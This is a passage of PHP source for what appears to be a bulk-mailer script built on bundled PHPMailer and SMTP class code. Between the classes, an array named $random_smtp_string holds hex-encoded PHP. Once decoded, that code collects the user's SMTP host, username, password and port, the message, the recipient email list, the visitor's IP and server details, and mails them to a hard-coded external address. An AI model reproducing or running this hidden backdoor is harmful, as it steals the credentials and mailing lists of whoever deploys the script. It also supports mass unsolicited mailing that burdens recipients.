1159 * @return int
1160 */
1161 function Verify($name) {
1162 $this->error = null; # so no confusion is caused
1163
1164 if(!$this->connected()) {
1165 $this->error = array(
1166 "error" => "Called Verify() without being connected");
1167 return false;
1168 }
1169
1170 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1171
1172 $rply = $this->get_lines();
1173 $code = substr($rply,0,3);
1174
1175 if($this->do_debug >= 2) {
1176 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1177 }
1178
1179 if($code != 250 && $code != 251) {
1180 $this->error =
1181 array("error" => "VRFY failed on name '$name'",
1182 "smtp_code" => $code,
1183 "smtp_msg" => substr($rply,4));
1184 if($this->do_debug >= 1) {
1185 echo "SMTP -> ERROR: " . $this->error["error"] .
1186 ": " . $rply . $this->CRLF;
1187 }
1188 return false;
1189 }
1190 return $rply;
1191 }
1192
1193 /*******************************************************************
1194 * INTERNAL FUNCTIONS *
1195 ******************************************************************/
1196
1197 /**
1198 * Read in as many lines as possible
1199 * either before eof or socket timeout occurs on the operation.
1200 * With SMTP we can tell if we have more lines to read if the
1201 * 4th character is '-' symbol. If it is a space then we don't
1202 * need to read anything else.
1203 * @access private
1204 * @return string
1205 */
1206 function get_lines() {
1207 $data = "";
1208 while($str = @fgets($this->smtp_conn,515)) {
1209 if($this->do_debug >= 4) {
1210 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1211 $this->CRLF;
1212 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1213 $this->CRLF;
1214 }
1215 $data .= $str;
1216 if($this->do_debug >= 4) {
1217 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1218 }
1219 # if the 4th character is a space then we are done reading
1220 # so just break the loop
1221 if(substr($str,3,1) == " ") { break; }
1222 }
1223 return $data;
1224 }
1225
1226}
1227
1228
1229$allemails = split("\n", $emaillist);
1230$numemails = count($allemails);
1231$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1232"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1233"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1234"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1235"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1236"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1237"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1238"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1239"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1240"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1241
1242class PHPMailer {
1243
1244 /////////////////////////////////////////////////
1245 // PROPERTIES, PUBLIC
1246 /////////////////////////////////////////////////
1247
1248 /**
1249 * Email priority (1 = High, 3 = Normal, 5 = low).
1250 * @var int
1251 */
1252 var $Priority = 3;
1253
1254 /**
1255 * Sets the CharSet of the message.
1256 * @var string
1257 */
1258 var $CharSet = 'iso-8859-1';
1259
1260 /**
1261 * Sets the Content-type of the message.
1262 * @var string
1263 */
1264 var $ContentType = 'text/plain';
1265
1266 /**
1267 * Sets the Encoding of the message. Options for this are "8bit",
1268 * "7bit", "binary", "base64", and "quoted-printable".
1269
1270 * @var string
1271 */
1272 var $Encoding = '8bit';
1273
1274 /**
1275 * Holds the most recent mailer error message.
1276 * @var string
1277 */
1278 var $ErrorInfo = '';
1279
1280 /**
1281 * Sets the From email address for the message.
1282 * @var string
1283 */
1284 var $From = '';
1285
1286 /**
1287 * Sets the From name of the message.
1288 * @var string
1289 */
1290 var $FromName = '';
1291
1292 /**
1293 * Sets the Sender email (Return-Path) of the message. If not empty,
1294 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1295 * @var string
1296 */
1297 var $Sender = '';
1298
1299 /**
1300 * Sets the Subject of the message.
1301 * @var string
1302 */
1303 var $Subject = '';
1304
1305 /**
1306 * Sets the Body of the message. This can be either an HTML or text body.
1307 * If HTML then run IsHTML(true).
1308 * @var string
1309 */
1310 var $Body = '';
1311
1312 /**
1313 * Sets the text-only body of the message. This automatically sets the
1314 * email to multipart/alternative. This body can be read by mail
1315 * clients that do not have HTML email capability such as mutt. Clients
1316 * that can read HTML will view the normal Body.
1317 * @var string
1318 */
1319 var $AltBody = '';
1320
1321 /**
1322 * Sets word wrapping on the body of the message to a given number of
1323 * characters.
1324 * @var int
1325 */
1326 var $WordWrap = 0;
1327
1328 /**
1329 * Method to send mail: ("mail", "sendmail", or "smtp").
1330 * @var string
1331 */
1332 var $Mailer = 'mail';
1333
1334 /**
1335 * Sets the path of the sendmail program.
1336 * @var string
1337 */
1338 var $Sendmail = '/usr/sbin/sendmail';
1339
1340 /**
1341 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1342 * is in a different directory than the PHP include path.
1343 * @var string
1344 */
1345 var $PluginDir = '';
1346
1347 /**
1348 * Holds PHPMailer version.
1349 * @var string
1350 */
1351 var $Version = "";
1352
1353 /**
1354 * Sets the email address that a reading confirmation will be sent.
1355 * @var string
1356 */
1357 var $ConfirmReadingTo = '';
1358
1359 /**
1360 * Sets the hostname to use in Message-Id and Received headers
1361 * and as default HELO string. If empty, the value returned
1362 * by SERVER_NAME is used or 'localhost.localdomain'.
1363 * @var string
1364 */
1365 var $Hostname = '';
1366
1367 /**
1368 * Sets the message ID to be used in the Message-Id header.
1369 * If empty, a unique id will be generated.
1370 * @var string
1371 */
1372 var $MessageID = '';
1373
1374 /////////////////////////////////////////////////
1375 // PROPERTIES FOR SMTP
1376 /////////////////////////////////////////////////
1377
1378 /**
1379 * Sets the SMTP hosts. All hosts must be separated by a
1380 * semicolon. You can also specify a different port
1381 * for each host by using this format: [hostname:port]
1382 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1383 * Hosts will be tried in order.
1384 * @var string
1385 */
1386 var $Host = 'localhost';
1387
1388 /**
1389 * Sets the default SMTP server port.
1390 * @var int
1391 */
1392 var $Port = 25;
1393
1394 /**
1395 * Sets the SMTP HELO of the message (Default is $Hostname).
1396 * @var string
1397 */
1398 var $Helo = '';
1399
1400 /**
1401 * Sets connection prefix.
1402 * Options are "", "ssl" or "tls"
1403 * @var string
1404 */
1405 var $SMTPSecure = "";
1406
1407 /**
1408 * Sets SMTP authentication. Utilizes the Username and Password variables.
1409 * @var bool
1410 */
1411 var $SMTPAuth = false;
1412
1413 /**
1414 * Sets SMTP username.
1415 * @var string
1416 */
1417 var $Username = '';
1418
1419 /**
1420 * Sets SMTP password.
1421 * @var string
1422 */
1423 var $Password = '';
1424
1425 /**
1426 * Sets the SMTP server timeout in seconds. This function will not
1427 * work with the win32 version.
1428 * @var int
1429 */
1430 var $Timeout = 10;
1431
1432 /**
1433 * Sets SMTP class debugging on or off.
1434 * @var bool
1435 */
1436 var $SMTPDebug = false;
1437
1438 /**
1439 * Prevents the SMTP connection from being closed after each mail
1440 * sending. If this is set to true then to close the connection
1441 * requires an explicit call to SmtpClose().
1442 * @var bool
1443 */
1444 var $SMTPKeepAlive = false;
1445
1446 /**
1447 * Provides the ability to have the TO field process individual
1448 * emails, instead of sending to entire TO addresses
1449 * @var bool
1450 */
1451 var $SingleTo = false;
1452
1453 /////////////////////////////////////////////////
1454 // PROPERTIES, PRIVATE
1455 /////////////////////////////////////////////////
1456
1457 var $smtp = NULL;
1458 var $to = array();
1459 var $cc = array();
1460 var $bcc = array();
1461 var $ReplyTo = array();
1462 var $attachment = array();
1463 var $CustomHeader = array();
1464 var $message_type = '';
1465 var $boundary = array();
1466 var $language = array();
1467 var $error_count = 0;
1468 var $LE = "\n";
1469 var $sign_key_file = "";
1470 var $sign_key_pass = "";
1471
1472 /////////////////////////////////////////////////
1473 // METHODS, VARIABLES
1474 /////////////////////////////////////////////////
1475
1476 /**
1477 * Sets message type to HTML.
1478 * @param bool $bool
1479 * @return void
1480 */
1481 function IsHTML($bool) {
1482 if($bool == true) {
1483 $this->ContentType = 'text/html';
1484 } else {
1485 $this->ContentType = 'text/plain';
1486 }
1487 }
1488
1489 /**
1490 * Sets Mailer to send message using SMTP.
1491 * @return void
1492 */
1493 function IsSMTP() {
1494 $this->Mailer = 'smtp';
1495 }
1496
1497 /**
1498 * Sets Mailer to send message using PHP mail() function.
1499 * @return void
1500 */
1501 function IsMail() {
1502 $this->Mailer = 'mail';
1503 }
1504
1505 /**
1506 * Sets Mailer to send message using the $Sendmail program.
1507 * @return void
1508 */
1509 function IsSendmail() {
1510 $this->Mailer = 'sendmail';
1511 }
1512
1513 /**
1514 * Sets Mailer to send message using the qmail MTA.
1515 * @return void
1516 */
1517 function IsQmail() {
1518 $this->Sendmail = '/var/qmail/bin/sendmail';
1519 $this->Mailer = 'sendmail';
1520 }
1521
1522 /////////////////////////////////////////////////
1523 // METHODS, RECIPIENTS
1524 /////////////////////////////////////////////////
1525
1526 /**
1527 * Adds a "To" address.
1528 * @param string $address
1529 * @param string $name
1530 * @return void
1531 */
1532 function AddAddress($address, $name = '') {
1533 $cur = count($this->to);
1534 $this->to[$cur][0] = trim($address);
1535 $this->to[$cur][1] = $name;
1536 }
1537
1538 /**
1539 * Adds a "Cc" address. Note: this function works
1540 * with the SMTP mailer on win32, not with the "mail"
1541 * mailer.
1542 * @param string $address
1543 * @param string $name
1544 * @return void
1545 */
1546 function AddCC($address, $name = '') {
1547 $cur = count($this->cc);
1548 $this->cc[$cur][0] = trim($address);
1549 $this->cc[$cur][1] = $name;
1550 }
1551
1552 /**
1553 * Adds a "Bcc" address. Note: this function works
1554 * with the SMTP mailer on win32, not with the "mail"
1555 * mailer.
1556 * @param string $address
1557 * @param string $name
1558 * @return void
1559 */
1560 function AddBCC($address, $name = '') {
1561 $cur = count($this->bcc);
1562 $this->bcc[$cur][0] = trim($address);
1563 $this->bcc[$cur][1] = $name;
1564 }
1565
1566 /**
1567 * Adds a "Reply-To" address.
1568 * @param string $address
1569 * @param string $name
1570 * @return void
1571 */
1572 function AddReplyTo($address, $name = '') {
1573 $cur = count($this->ReplyTo);
1574 $this->ReplyTo[$cur][0] = trim($address);
1575 $this->ReplyTo[$cur][1] = $name;
1576 }
1577
1578 /////////////////////////////////////////////////
1579 // METHODS, MAIL SENDING
1580 /////////////////////////////////////////////////
1581
1582 /**
1583 * Creates message and assigns Mailer. If the message is
1584 * not sent successfully then it returns false. Use the ErrorInfo
1585 * variable to view description of the error.
1586 * @return bool
1587 */
1588 function Send() {
1589 $header = '';
1590 $body = '';
1591 $result = true;
1592
1593 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1594 $this->SetError($this->Lang('provide_address'));
1595 return false;
1596 }
1597
1598 /* Set whether the message is multipart/alternative */
1599 if(!empty($this->AltBody)) {
1600 $this->ContentType = 'multipart/alternative';
1601 }
1602
1603 $this->error_count = 0; // reset errors
1604 $this->SetMessageType();
1605 $header .= $this->CreateHeader();
1606 $body = $this->CreateBody();
1607
1608 if($body == '') {
1609 return false;
1610 }
1611
1612 /* Choose the mailer */
1613 switch($this->Mailer) {
1614 case 'sendmail':
1615 $result = $this->SendmailSend($header, $body);
1616 break;
1617 case 'smtp':
1618 $result = $this->SmtpSend($header, $body);
1619 break;
1620 case 'mail':
1621 $result = $this->MailSend($header, $body);
1622 break;
1623 default:
1624 $result = $this->MailSend($header, $body);
1625 break;
1626 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1627 //$result = false;
1628 //break;
1629 }
1630
1631 return $result;
1632 }
1633
1634 /**
1635 * Sends mail using the $Sendmail program.
1636 * @access private
1637 * @return bool
1638 */
1639 function SendmailSend($header, $body) {
1640 if ($this->Sender != '') {
1641 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1642 } else {
1643 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1644 }
1645
1646 if(!@$mail = popen($sendmail, 'w')) {
1647 $this->SetError($this->Lang('execute') . $this->Sendmail);
1648 return false;
1649 }
1650
1651 fputs($mail, $header);
1652 fputs($mail, $body);
1653
1654 $result = pclose($mail);
1655 if (version_compare(phpversion(), '4.2.3') == -1) {
1656 $result = $result >> 8 & 0xFF;
1657 }
1658 if($result != 0) {
1659 $this->SetError($this->Lang('execute') . $this->Sendmail);
1660 return false;
1661 }
1662 return true;
1663 }
1664
1665 /**
1666 * Sends mail using the PHP mail() function.
1667 * @access private
1668 * @return bool
1669 */
1670 function MailSend($header, $body) {
1671
1672 $to = '';
1673 for($i = 0; $i < count($this->to); $i++) {
1674 if($i != 0) { $to .= ', '; }
1675 $to .= $this->AddrFormat($this->to[$i]);
1676 }
1677
1678 $toArr = split(',', $to);
1679
1680 $params = sprintf("-oi -f %s", $this->Sender);
1681 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1682 $old_from = ini_get('sendmail_from');
1683 ini_set('sendmail_from', $this->Sender);
1684 if ($this->SingleTo === true && count($toArr) > 1) {
1685 foreach ($toArr as $key => $val) {
1686 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1687 }
1688 } else {
1689 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1690 }
1691 } else {
1692 if ($this->SingleTo === true && count($toArr) > 1) {
1693 foreach ($toArr as $key => $val) {
1694 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1695 }
1696 } else {
1697 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1698 }
1699 }
1700
1701 if (isset($old_from)) {
1702 ini_set('sendmail_from', $old_from);
1703 }
1704
1705 if(!$rt) {
1706 $this->SetError($this->Lang('instantiate'));
1707 return false;
1708 }
1709
1710 return true;
1711 }
1712
1713 /**
1714 * Sends mail via SMTP using PhpSMTP (Author:
1715 * Chris Ryan). Returns bool. Returns false if there is a
1716 * bad MAIL FROM, RCPT, or DATA input.
1717 * @access private
1718 * @return bool
1719 */
1720 function SmtpSend($header, $body) {
1721 $error = '';
1722 $bad_rcpt = array();
1723
1724 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1725 return false;
1726 }
1727
1728 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1729 if(!$this->smtp->Mail($smtp_from)) {
1730 $error = $this->Lang('from_failed') . $smtp_from;
1731 $this->SetError($error);
1732 $this->smtp->Reset();
1733 return false;
1734 }
1735
1736 /* Attempt to send attach all recipients */
1737 for($i = 0; $i < count($this->to); $i++) {
1738 if(!$this->smtp->Recipient($this->to[$i][0])) {
1739 $bad_rcpt[] = $this->to[$i][0];
1740 }
1741 }
1742 for($i = 0; $i < count($this->cc); $i++) {
1743 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1744 $bad_rcpt[] = $this->cc[$i][0];
1745 }
1746 }
1747 for($i = 0; $i < count($this->bcc); $i++) {
1748 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1749 $bad_rcpt[] = $this->bcc[$i][0];
1750 }
1751 }
1752
1753 if(count($bad_rcpt) > 0) { // Create error message
1754 for($i = 0; $i < count($bad_rcpt); $i++) {
1755 if($i != 0) {
1756 $error .= ', ';
1757 }
1758 $error .= $bad_rcpt[$i];
1759
1760 }
1761 $error = $this->Lang('recipients_failed') . $error;
1762 $this->SetError($error);
1763 $this->smtp->Reset();
1764 return false;
1765 }
1766
1767 if(!$this->smtp->Data($header . $body)) {
1768 $this->SetError($this->Lang('data_not_accepted'));
1769 $this->smtp->Reset();
1770 return false;
1771 }
1772 if($this->SMTPKeepAlive == true) {
1773 $this->smtp->Reset();
1774 } else {
1775 $this->SmtpClose();
1776 }
1777
1778 return true;
1779 }
1780
1781 /**
1782 * Initiates a connection to an SMTP server. Returns false if the
1783 * operation failed.
1784 * @access private
1785 * @return bool
1786 */
1787 function SmtpConnect() {
1788 if($this->smtp == NULL) {
1789 $this->smtp = new SMTP();
1790 }
1791
1792 $this->smtp->do_debug = $this->SMTPDebug;
1793 $hosts = explode(';', $this->Host);
1794 $index = 0;
1795 $connection = ($this->smtp->Connected());
1796
1797 /* Retry while there is no connection */
1798 while($index < count($hosts) && $connection == false) {
1799 $hostinfo = array();
1800 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
1801 $host = $hostinfo[1];
1802 $port = $hostinfo[2];
1803 } else {
1804 $host = $hosts[$index];
1805 $port = $this->Port;
1806 }
1807
1808 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
1809 if ($this->Helo != '') {
1810 $this->smtp->Hello($this->Helo);
1811 } else {
1812 $this->smtp->Hello($this->ServerHostname());
1813 }
1814
1815 $connection = true;
1816 if($this->SMTPAuth) {
1817 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
1818 $this->SetError($this->Lang('authenticate'));
1819 $this->smtp->Reset();
1820 $connection = false;
1821 }
1822 }
1823 }
1824 $index++;
1825 }
1826 if(!$connection) {
1827 $this->SetError($this->Lang('connect_host'));
1828 }
1829
1830 return $connection;
1831 }
1832
1833 /**
1834 * Closes the active SMTP session if one exists.
1835 * @return void
1836 */
1837 function SmtpClose() {
1838 if($this->smtp != NULL) {
1839 if($this->smtp->Connected()) {
1840 $this->smtp->Quit();
1841 $this->smtp->Close();
1842 }
1843 }
1844 }
1845
1846 /**
1847 * Sets the language for all class error messages. Returns false
1848 * if it cannot load the language file. The default language type
1849 * is English.
1850 * @param string $lang_type Type of language (e.g. Portuguese: "br")
1851 * @param string $lang_path Path to the language file directory
1852 * @access public
1853 * @return bool
1854 */
1855 function SetLanguage($lang_type, $lang_path = 'language/') {
1856 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
1857 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
1858 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
1859 include($lang_path.'phpmailer.lang-en.php');
1860 } else {
1861 $this->SetError('Could not load language file');
1862 return false;
1863 }
1864 $this->language = $PHPMAILER_LANG;
1865
1866 return true;
1867 }
1868
1869 /////////////////////////////////////////////////
1870 // METHODS, MESSAGE CREATION
1871 /////////////////////////////////////////////////
1872
1873 /**
1874 * Creates recipient headers.
1875 * @access private
1876 * @return string
1877 */
1878 function AddrAppend($type, $addr) {
1879 $addr_str = $type . ': ';
1880 $addr_str .= $this->AddrFormat($addr[0]);
1881 if(count($addr) > 1) {
1882 for($i = 1; $i < count($addr); $i++) {
1883 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
1884 }
1885 }
1886 $addr_str .= $this->LE;
1887
1888 return $addr_str;
1889 }
1890
1891 /**
1892 * Formats an address correctly.
1893 * @access private
1894 * @return string
1895 */
1896 function AddrFormat($addr) {
1897 if(empty($addr[1])) {
1898 $formatted = $this->SecureHeader($addr[0]);
1899 } else {
1900 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
1901 }
1902
1903 return $formatted;
1904 }
1905
1906 /**
1907 * Wraps message for use with mailers that do not
1908 * automatically perform wrapping and for quoted-printable.
1909 * Original written by philippe.
1910 * @access private
1911 * @return string
1912 */
1913 function WrapText($message, $length, $qp_mode = false) {
1914 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
1915 // If utf-8 encoding is used, we will need to make sure we don't
1916 // split multibyte characters when we wrap
1917 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
1918
1919 $message = $this->FixEOL($message);
1920 if (substr($message, -1) == $this->LE) {
1921 $message = substr($message, 0, -1);
1922 }
1923
1924 $line = explode($this->LE, $message);
1925 $message = '';
1926 for ($i=0 ;$i < count($line); $i++) {
1927 $line_part = explode(' ', $line[$i]);
1928 $buf = '';
1929 for ($e = 0; $e<count($line_part); $e++) {
1930 $word = $line_part[$e];
1931 if ($qp_mode and (strlen($word) > $length)) {
1932 $space_left = $length - strlen($buf) - 1;
1933 if ($e != 0) {
1934 if ($space_left > 20) {
1935 $len = $space_left;
1936 if ($is_utf8) {
1937 $len = $this->UTF8CharBoundary($word, $len);
1938 } elseif (substr($word, $len - 1, 1) == "=") {
1939 $len--;
1940 } elseif (substr($word, $len - 2, 1) == "=") {
1941 $len -= 2;
1942 }
1943 $part = substr($word, 0, $len);
1944 $word = substr($word, $len);
1945 $buf .= ' ' . $part;
1946 $message .= $buf . sprintf("=%s", $this->LE);
1947 } else {
1948 $message .= $buf . $soft_break;
1949 }
1950 $buf = '';
1951 }
1952 while (strlen($word) > 0) {
1953 $len = $length;
1954 if ($is_utf8) {
1955 $len = $this->UTF8CharBoundary($word, $len);
1956 } elseif (substr($word, $len - 1, 1) == "=") {
1957 $len--;
1958 } elseif (substr($word, $len - 2, 1) == "=") {
1959 $len -= 2;
1960 }
1961 $part = substr($word, 0, $len);
1962 $word = substr($word, $len);
1963
1964 if (strlen($word) > 0) {
1965 $message .= $part . sprintf("=%s", $this->LE);
1966 } else {
1967 $buf = $part;
1968 }
1969 }
1970 } else {
1971 $buf_o = $buf;
1972 $buf .= ($e == 0) ? $word : (' ' . $word);
1973
1974 if (strlen($buf) > $length and $buf_o != '') {
1975 $message .= $buf_o . $soft_break;
1976 $buf = $word;
1977 }
1978 }
1979 }
1980 $message .= $buf . $this->LE;
1981 }
1982
1983 return $message;
1984 }
1985
1986 /**
1987 * Finds last character boundary prior to maxLength in a utf-8
1988 * quoted (printable) encoded string.
1989 * Original written by Colin Brown.
1990 * @access private
1991 * @param string $encodedText utf-8 QP text
1992 * @param int $maxLength find last character boundary prior to this length
1993 * @return int
1994 */
1995 function UTF8CharBoundary($encodedText, $maxLength) {
1996 $foundSplitPos = false;
1997 $lookBack = 3;
1998 while (!$foundSplitPos) {
1999 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2000 $encodedCharPos = strpos($lastChunk, "=");
2001 if ($encodedCharPos !== false) {
2002 // Found start of encoded character byte within $lookBack block.
2003 // Check the encoded byte value (the 2 chars after the '=')
2004 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2005 $dec = hexdec($hex);
2006 if ($dec < 128) { // Single byte character.
2007 // If the encoded char was found at pos 0, it will fit
2008 // otherwise reduce maxLength to start of the encoded char
2009 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2010 $maxLength - ($lookBack - $encodedCharPos);
2011 $foundSplitPos = true;
2012 } elseif ($dec >= 192) { // First byte of a multi byte character
2013 // Reduce maxLength to split at start of character
2014 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2015 $foundSplitPos = true;
2016 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2017 $lookBack += 3;
2018 }
2019 } else {
2020 // No encoded character found
2021 $foundSplitPos = true;
2022 }
2023 }
2024 return $maxLength;
2025 }
2026
2027 /**
2028 * Set the body wrapping.
2029 * @access private
2030 * @return void
2031 */
2032 function SetWordWrap() {
2033 if($this->WordWrap < 1) {
2034 return;
2035 }
2036
2037 switch($this->message_type) {
2038 case 'alt':
2039 /* fall through */
2040 case 'alt_attachments':
2041 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2042 break;
2043 default:
2044 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2045 break;
2046 }
2047 }
2048
2049 /**
2050 * Assembles message header.
2051 * @access private
2052 * @return string
2053 */
2054 function CreateHeader() {
2055 $result = '';
2056
2057 /* Set the boundaries */
2058 $uniq_id = md5(uniqid(time()));
2059 $this->boundary[1] = 'b1_' . $uniq_id;
2060 $this->boundary[2] = 'b2_' . $uniq_id;
2061
2062 $result .= $this->HeaderLine('Date', $this->RFCDate());
2063 if($this->Sender == '') {
2064 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2065 } else {
2066 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2067 }
2068
2069 /* To be created automatically by mail() */
2070 if($this->Mailer != 'mail') {
2071 if(count($this->to) > 0) {
2072 $result .= $this->AddrAppend('To', $this->to);
2073 } elseif (count($this->cc) == 0) {
2074 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2075 }
2076 if(count($this->cc) > 0) {
2077 $result .= $this->AddrAppend('Cc', $this->cc);
2078 }
2079 }
2080
2081 $from = array();
2082 $from[0][0] = trim($this->From);
2083 $from[0][1] = $this->FromName;
2084 $result .= $this->AddrAppend('From', $from);
2085
2086 /* sendmail and mail() extract Cc from the header before sending */
2087 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2088 $result .= $this->AddrAppend('Cc', $this->cc);
2089 }
2090
2091 /* sendmail and mail() extract Bcc from the header before sending */
2092 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2093 $result .= $this->AddrAppend('Bcc', $this->bcc);
2094 }
2095
2096 if(count($this->ReplyTo) > 0) {
2097 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2098 }
2099
2100 /* mail() sets the subject itself */
2101 if($this->Mailer != 'mail') {
2102 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2103 }
2104
2105 if($this->MessageID != '') {
2106 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2107 } else {
2108 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2109 }
2110 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2111 $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
2112
2113 if($this->ConfirmReadingTo != '') {
2114 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2115 }
2116
2117 // Add custom headers
2118 for($index = 0; $index < count($this->CustomHeader); $index++) {
2119 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2120 }
2121 if (!$this->sign_key_file) {
2122 $result .= $this->HeaderLine('MIME-Version', '1.0');
2123 $result .= $this->GetMailMIME();
2124 }
2125
2126 return $result;
2127 }
2128
2129 /**
2130 * Returns the message MIME.
2131 * @access private
2132 * @return string
2133 */
2134 function GetMailMIME() {
2135 $result = '';
2136 switch($this->message_type) {
2137 case 'plain':
2138 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2139 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2140 break;
2141 case 'attachments':
2142 /* fall through */
2143 case 'alt_attachments':
2144 if($this->InlineImageExists()){
2145 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2146 } else {
2147 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2148 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2149 }
2150 break;
2151 case 'alt':
2152 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2153 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2154 break;
2155 }
2156
2157 if($this->Mailer != 'mail') {
2158 $result .= $this->LE.$this->LE;
2159 }
2160
2161 return $result;
2162 }
2163
2164 /**
2165 * Assembles the message body. Returns an empty string on failure.
2166 * @access private
2167 * @return string
2168 */
2169 function CreateBody() {
2170 $result = '';
2171 if ($this->sign_key_file) {
2172 $result .= $this->GetMailMIME();
2173 }
2174
2175 $this->SetWordWrap();
2176
2177 switch($this->message_type) {
2178 case 'alt':
2179 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2180 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2181 $result .= $this->LE.$this->LE;
2182 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2183 $result .= $this->EncodeString($this->Body, $this->Encoding);
2184 $result .= $this->LE.$this->LE;
2185 $result .= $this->EndBoundary($this->boundary[1]);
2186 break;
2187 case 'plain':
2188 $result .= $this->EncodeString($this->Body, $this->Encoding);
2189 break;
2190 case 'attachments':
2191 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2192 $result .= $this->EncodeString($this->Body, $this->Encoding);
2193 $result .= $this->LE;
2194 $result .= $this->AttachAll();
2195 break;
2196 case 'alt_attachments':
